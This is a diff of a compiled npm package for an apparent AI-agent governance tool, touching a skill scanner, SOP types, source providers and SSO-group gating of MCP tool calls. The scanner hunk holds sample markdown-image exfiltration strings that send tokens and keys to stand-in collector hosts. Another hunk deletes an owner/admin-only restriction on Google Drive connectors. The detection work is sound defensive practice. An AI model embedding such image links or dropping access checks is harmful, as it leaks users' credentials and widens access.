+ '(?=([^)\\s\\[]*))\\2[^)]{0,200}\\)',
297
318
  description: 'A markdown link or image whose URL itself names a credential-shaped value — the ' +
298
319
  'auto-rendered-image exfiltration vector, since an image fires an outbound request with ' +
299
320
  'no user action.',
300
321
  matches: [
301
322
  '![status](https://collector.example.com/log?token=SECRET_VALUE)',
302
323
  'See [details](http://collector.example/report?api_key=xyz) for more.',
324
+ '![x](http://[2001:db8::1]:8080/c?ssh=KEY)',
303
325
  ],
304
326
  notMatches: [
305
327
  '![logo](https://example.com/assets/logo.png)',
@@ -1 +1 @@
1
- {"version":3,"file":"skillScan.js","sourceRoot":"","sources":["../src/skillScan.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;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), LLD 01-data-architecture §3.1, LLD #6
8
+ * HLD §3.4 (SOP Registry)
9
9
  *
10
10
  * @module
11
11
  */
@@ -89,7 +89,7 @@ export type SslCompileState = 'compiled' | 'stale' | 'uncompiled';
89
89
  /**
90
90
  * The typed shape of `sop_registry.provenance` (jsonb).
91
91
  *
92
- * Before LLD #71 the column carried exactly one key, `stale`, written by the
92
+ * Before policy guardrails the column carried exactly one key, `stale`, written by the
93
93
  * connector sync and the SOP service when an SSL recompile failed and the
94
94
  * previous good graph was kept, and read by `sopLifecycleService.ts`'s
95
95
  * REFINED → VALIDATED gate. That contract is unchanged: the gate reads only
@@ -240,7 +240,7 @@ export interface SopHealthMetrics {
240
240
  /**
241
241
  * A queued item in the Dream Cycle processing pipeline.
242
242
  *
243
- * Items originate from capability misses (LLD #5), decision mining
243
+ * Items originate from capability misses, decision mining
244
244
  * entries, or drift signals. Phase 1: queue management only.
245
245
  * Phase 3: LLM synthesis consumes the queue.
246
246
  *
@@ -289,7 +289,7 @@ export interface DreamCycleEnqueueInput {
289
289
  * Result of a Gödel completeness probe evaluation.
290
290
  *
291
291
  * Evaluates a SOP against the 13-category quality rubric (HLD §3.7).
292
- * Distinct from the 12-category runtime anomaly taxonomy (LLD #5).
292
+ * Distinct from the 12-category runtime anomaly taxonomy.
293
293
  *
294
294
  * @see HLD §3.7 — Gödel Completeness Probe
295
295
  */
@@ -357,7 +357,7 @@ export declare const VALID_SOP_TRANSITIONS: ReadonlyArray<{
357
357
  * in the UI at the moment someone changes a state, and it must describe the
358
358
  * system rather than the design.
359
359
  *
360
- * ## History (TD-277)
360
+ * ## History
361
361
  *
362
362
  * This value has been wrong in both directions. It first said
363
363
  * `HYPOTHESIZED: 'SHADOW'` and `REFINED: 'SHADOW'` while nothing evaluated
package/dist/sop.js CHANGED
@@ -6,7 +6,7 @@
6
6
  * SOP proof tree structures used by the SSL (Self-Supervised Learning)
7
7
  * synthesis pipeline.
8
8
  *
9
- * HLD §3.4 (SOP Registry), LLD 01-data-architecture §3.1, LLD #6
9
+ * HLD §3.4 (SOP Registry)
10
10
  *
11
11
  * @module
12
12
  */
@@ -37,7 +37,7 @@ exports.VALID_SOP_TRANSITIONS = [
37
37
  * in the UI at the moment someone changes a state, and it must describe the
38
38
  * system rather than the design.
39
39
  *
40
- * ## History (TD-277)
40
+ * ## History
41
41
  *
42
42
  * This value has been wrong in both directions. It first said
43
43
  * `HYPOTHESIZED: 'SHADOW'` and `REFINED: 'SHADOW'` while nothing evaluated
@@ -5,7 +5,7 @@
5
5
  * restated by hand in three places — the connector service, the sync cron and
6
6
  * the dashboard hook — and the dashboard's copy is what the operator sees in
7
7
  * the provider picker, so a provider added server-side was invisible until
8
- * someone remembered the third copy. `LLD #71` widens the list (Google Drive,
8
+ * someone remembered the third copy. Policy guardrails widened the list (Google Drive,
9
9
  * upload) and moves it here so every reader imports it.
10
10
  *
11
11
  * `MEMORY_PROVIDERS` is deliberately NOT here: memory providers share the
@@ -28,13 +28,6 @@ export type SourceProvider = (typeof SOURCE_PROVIDERS)[number];
28
28
  */
29
29
  export declare const DOCUMENT_PROVIDERS: readonly ["notion", "confluence", "github", "gdrive", "upload"];
30
30
  export type DocumentProvider = (typeof DOCUMENT_PROVIDERS)[number];
31
- /**
32
- * Source providers only a workspace OWNER or ADMIN may connect, reschedule,
33
- * sync or remove. A Google service-account key reads every document it has
34
- * been shared, so the member-level connector route must not create one — the
35
- * same reasoning that keeps VirusTotal off the generic provider enum.
36
- */
37
- export declare const PRIVILEGED_SOURCE_PROVIDERS: ReadonlySet<string>;
38
31
  /** Type guard for a string arriving off the wire or from a config row. */
39
32
  export declare function isSourceProvider(value: unknown): value is SourceProvider;
40
33
  export declare function isDocumentProvider(value: unknown): value is DocumentProvider;
@@ -1 +1 @@
1
- {"version":3,"file":"sourceProviders.d.ts","sourceRoot":"","sources":["../src/sourceProviders.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;GAgBG;AAEH,qGAAqG;AACrG,eAAO,MAAM,gBAAgB,uDAAwD,CAAA;AAErF,MAAM,MAAM,cAAc,GAAG,CAAC,OAAO,gBAAgB,CAAC,CAAC,MAAM,CAAC,CAAA;AAE9D;;;;;;;GAOG;AACH,eAAO,MAAM,kBAAkB,iEAA2C,CAAA;AAE1E,MAAM,MAAM,gBAAgB,GAAG,CAAC,OAAO,kBAAkB,CAAC,CAAC,MAAM,CAAC,CAAA;AAElE;;;;;GAKG;AACH,eAAO,MAAM,2BAA2B,EAAE,WAAW,CAAC,MAAM,CAAuB,CAAA;AAEnF,0EAA0E;AAC1E,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,cAAc,CAExE;AAED,wBAAgB,kBAAkB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,gBAAgB,CAE5E"}
1
+ {"version":3,"file":"sourceProviders.d.ts","sourceRoot":"","sources":["../src/sourceProviders.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;GAgBG;AAEH,qGAAqG;AACrG,eAAO,MAAM,gBAAgB,uDAAwD,CAAA;AAErF,MAAM,MAAM,cAAc,GAAG,CAAC,OAAO,gBAAgB,CAAC,CAAC,MAAM,CAAC,CAAA;AAE9D;;;;;;;GAOG;AACH,eAAO,MAAM,kBAAkB,iEAA2C,CAAA;AAE1E,MAAM,MAAM,gBAAgB,GAAG,CAAC,OAAO,kBAAkB,CAAC,CAAC,MAAM,CAAC,CAAA;AAElE,0EAA0E;AAC1E,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,cAAc,CAExE;AAED,wBAAgB,kBAAkB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,gBAAgB,CAE5E"}
@@ -6,7 +6,7 @@
6
6
  * restated by hand in three places — the connector service, the sync cron and
7
7
  * the dashboard hook — and the dashboard's copy is what the operator sees in
8
8
  * the provider picker, so a provider added server-side was invisible until
9
- * someone remembered the third copy. `LLD #71` widens the list (Google Drive,
9
+ * someone remembered the third copy. Policy guardrails widened the list (Google Drive,
10
10
  * upload) and moves it here so every reader imports it.
11
11
  *
12
12
  * `MEMORY_PROVIDERS` is deliberately NOT here: memory providers share the
@@ -17,7 +17,7 @@
17
17
  * @module
18
18
  */
19
19
  Object.defineProperty(exports, "__esModule", { value: true });
20
- exports.PRIVILEGED_SOURCE_PROVIDERS = exports.DOCUMENT_PROVIDERS = exports.SOURCE_PROVIDERS = void 0;
20
+ exports.DOCUMENT_PROVIDERS = exports.SOURCE_PROVIDERS = void 0;
21
21
  exports.isSourceProvider = isSourceProvider;
22
22
  exports.isDocumentProvider = isDocumentProvider;
23
23
  /** Providers that pull documents on a schedule (and, where the provider allows, write SOPs back). */
@@ -31,13 +31,6 @@ exports.SOURCE_PROVIDERS = ['notion', 'confluence', 'github', 'gdrive'];
31
31
  * offer "upload" as something to connect.
32
32
  */
33
33
  exports.DOCUMENT_PROVIDERS = [...exports.SOURCE_PROVIDERS, 'upload'];
34
- /**
35
- * Source providers only a workspace OWNER or ADMIN may connect, reschedule,
36
- * sync or remove. A Google service-account key reads every document it has
37
- * been shared, so the member-level connector route must not create one — the
38
- * same reasoning that keeps VirusTotal off the generic provider enum.
39
- */
40
- exports.PRIVILEGED_SOURCE_PROVIDERS = new Set(['gdrive']);
41
34
  /** Type guard for a string arriving off the wire or from a config row. */
42
35
  function isSourceProvider(value) {
43
36
  return typeof value === 'string' && exports.SOURCE_PROVIDERS.includes(value);
@@ -1 +1 @@
1
- {"version":3,"file":"sourceProviders.js","sourceRoot":"","sources":["../src/sourceProviders.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;GAgBG;;;AA4BH,4CAEC;AAED,gDAEC;AAhCD,qGAAqG;AACxF,QAAA,gBAAgB,GAAG,CAAC,QAAQ,EAAE,YAAY,EAAE,QAAQ,EAAE,QAAQ,CAAU,CAAA;AAIrF;;;;;;;GAOG;AACU,QAAA,kBAAkB,GAAG,CAAC,GAAG,wBAAgB,EAAE,QAAQ,CAAU,CAAA;AAI1E;;;;;GAKG;AACU,QAAA,2BAA2B,GAAwB,IAAI,GAAG,CAAC,CAAC,QAAQ,CAAC,CAAC,CAAA;AAEnF,0EAA0E;AAC1E,SAAgB,gBAAgB,CAAC,KAAc;IAC7C,OAAO,OAAO,KAAK,KAAK,QAAQ,IAAK,wBAAsC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC7F,CAAC;AAED,SAAgB,kBAAkB,CAAC,KAAc;IAC/C,OAAO,OAAO,KAAK,KAAK,QAAQ,IAAK,0BAAwC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC/F,CAAC"}
1
+ {"version":3,"file":"sourceProviders.js","sourceRoot":"","sources":["../src/sourceProviders.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;GAgBG;;;AAoBH,4CAEC;AAED,gDAEC;AAxBD,qGAAqG;AACxF,QAAA,gBAAgB,GAAG,CAAC,QAAQ,EAAE,YAAY,EAAE,QAAQ,EAAE,QAAQ,CAAU,CAAA;AAIrF;;;;;;;GAOG;AACU,QAAA,kBAAkB,GAAG,CAAC,GAAG,wBAAgB,EAAE,QAAQ,CAAU,CAAA;AAI1E,0EAA0E;AAC1E,SAAgB,gBAAgB,CAAC,KAAc;IAC7C,OAAO,OAAO,KAAK,KAAK,QAAQ,IAAK,wBAAsC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC7F,CAAC;AAED,SAAgB,kBAAkB,CAAC,KAAc;IAC/C,OAAO,OAAO,KAAK,KAAK,QAAQ,IAAK,0BAAwC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC/F,CAAC"}
@@ -22,7 +22,10 @@
22
22
  *
23
23
  * Names and groups match exactly — no case folding, no patterns — because
24
24
  * that is what the server has always done and a gate that matched more loosely
25
- * would refuse calls the server allows.
25
+ * would refuse calls the server allows. The one widening is MCP's two names
26
+ * for one tool ({@link ssoGroupToolMatches}): an entry naming the tool as its
27
+ * server declares it (`run_query`) also matches the name a harness hook sees
28
+ * (`mcp__postgres__run_query`), at every gate.
26
29
  *
27
30
  * @module
28
31
  */
@@ -65,10 +68,23 @@ export declare const SsoGroupPolicySchema: z.ZodObject<{
65
68
  export declare function parseSsoGroupPolicy(value: unknown): SsoGroupPolicy | null;
66
69
  /** A rule id that survives `ruleIdFromReason` (`[A-Za-z0-9_.:-]`). */
67
70
  export declare function ssoGroupRuleId(kind: 'require_obo' | 'high_risk', toolName: string): string;
71
+ /**
72
+ * Whether a call that goes by `name` is the tool a policy entry names.
73
+ *
74
+ * Exactly, or — for an entry that is an MCP tool's own name, not starting
75
+ * with `mcp__` — as the name a harness hook gives that tool on any server:
76
+ * `mcp__<server>__<entry>`, the server part non-empty. The MCP proxy sees
77
+ * `run_query` where Claude Code's hook sees `mcp__postgres__run_query`, so
78
+ * without this an entry written one way held at one gate and not the other.
79
+ * An entry that already names the harness form (`mcp__postgres__run_query`)
80
+ * matches only that server's tool.
81
+ */
82
+ export declare function ssoGroupToolMatches(entry: string, name: string): boolean;
68
83
  /**
69
84
  * Decides one tool call. `toolNames` is every name the call goes by — the MCP
70
85
  * proxy sees `create_issue` where a harness hook sees
71
- * `mcp__github__create_issue` — and a policy entry naming any of them applies.
86
+ * `mcp__github__create_issue` — and a policy entry naming any of them applies
87
+ * ({@link ssoGroupToolMatches}). The rule id and reason name the entry.
72
88
  * `memberGroups` null means the caller does not know the member's groups.
73
89
  */
74
90
  export declare function evaluateSsoGroupClearance(policy: SsoGroupPolicy | null, toolNames: string | readonly string[], memberGroups: readonly string[] | null): SsoGroupDecision;
@@ -1 +1 @@
1
- {"version":3,"file":"ssoGroupClearance.d.ts","sourceRoot":"","sources":["../src/ssoGroupClearance.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2BG;AAEH,OAAO,EAAE,CAAC,EAAE,MAAM,KAAK,CAAA;AAEvB,OAAO,KAAK,EAAE,iBAAiB,EAAE,cAAc,EAAE,MAAM,kBAAkB,CAAA;AAEz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